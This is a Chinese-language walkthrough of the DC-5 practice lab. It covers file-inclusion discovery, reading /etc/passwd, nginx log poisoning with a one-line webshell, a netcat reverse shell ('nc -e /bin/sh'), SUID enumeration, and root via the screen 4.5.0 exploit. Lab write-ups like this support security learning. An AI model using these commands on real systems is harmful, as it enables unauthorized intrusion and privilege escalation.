DC-5

信息收集

1、使用nmap扫描靶机,开放了111端口和80端口

图片

2、111端口没有什么可以利用的点,只有80端口了,访问一下80端口

得知:网站使用的是Nginx的中间件,php语言

图片

3、最终在Contact页面发现一个有交互的地方

4、尝试了很多没有发现问题所在,看了大佬的文章才知道。原来提交的内容之后,刷新thankyou.php页面,下方时间会有变化

图片

5、之后使用DirBuster工具来扫描一下敏感文件

扫描到thankyou.php文件和footer文件,访问一下footer.php文件,发现该文件的内容就是之前提交之后下方显示的时间,这样的话,thankyou.php文件中应该包含了footer.php文件。所以thankyou.php文件应该是存在文件包含漏洞的

文件包含漏洞的利用

1、在Contact.php页面中填写完表单提交,然后使用bp抓包发送到repeater模块

2、然后不断发包,查看数字也会变化

图片

3、读取/etc/passwd文件,能够读取,看来是确实存在文件包含漏洞的。

图片

4、读取nginx配置文件信息,发现nginx日志记录文件路径

传一句话木马

6、进行包含时nginx的错误日志,利用一句话木马

反弹shell

1、利用一句话来反弹shell

首先在kali机上设置监听:nc -nlvp 1234

然后使用一句话 nc -e /bin/sh IP port 来反弹

图片

成功反弹shell

2、 接受交互式的shell,因为之前得到的shell不太稳定,所以需要去拿到一个稳定的shell,使用命令:python -c “import pty;pty.spawn(‘/bin/bash’)”

3、查看系统相关的一些信息

图片

3、查找具有SUID权限的文件

这两个命令都可以查找

1
2
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

suid用来提权的一般有:Nmap 、Vim、 find、 Bash、 More 、Less、 Nano 、cp
但是都没有这些命令,有一个奇怪的screen-4.5.0,所以可以用这个来提权

图片

提权

1、使用命令searchsploit来查询漏洞利用的脚本

searchsploit screen 4.5.0
2、利用POC这个脚本,将其先复制出来

cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh
3、查看一下脚本的使用

大概的步骤是分别将两部分的c代码编译为可执行文件,然后将其上传的靶机,按照提示的命令进行提权

1
2
3
4
5
6
7
8
9
10
第一步
​将第一部分的c代码放入libhax.c文件中进行编译
命令:gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
第二步
​将第二部分c代码放入rootshell.c文件中进行编译
命令:gcc -o /tmp/rootshell /tmp/rootshell.c
第三步
将编译好的可执行文件上传到靶机的tmp目录下
第四步
按照脚本提示的命令进行提权

详情有点小复杂,我也是参照了几个wp才成功,这里贴一个我觉得比较详细的https://blog.csdn.net/qq_34028816/article/details/124572718
之后编译并上传后直接运行sh文件就能提权成功

知识点总结

1、端口扫描,熟悉常见的端口

2、目录扫描,工具有:御剑、dirsearch、DirBuster等等

3、文件包含漏洞及其利用

4、searchsploit命令的使用

5、screen提权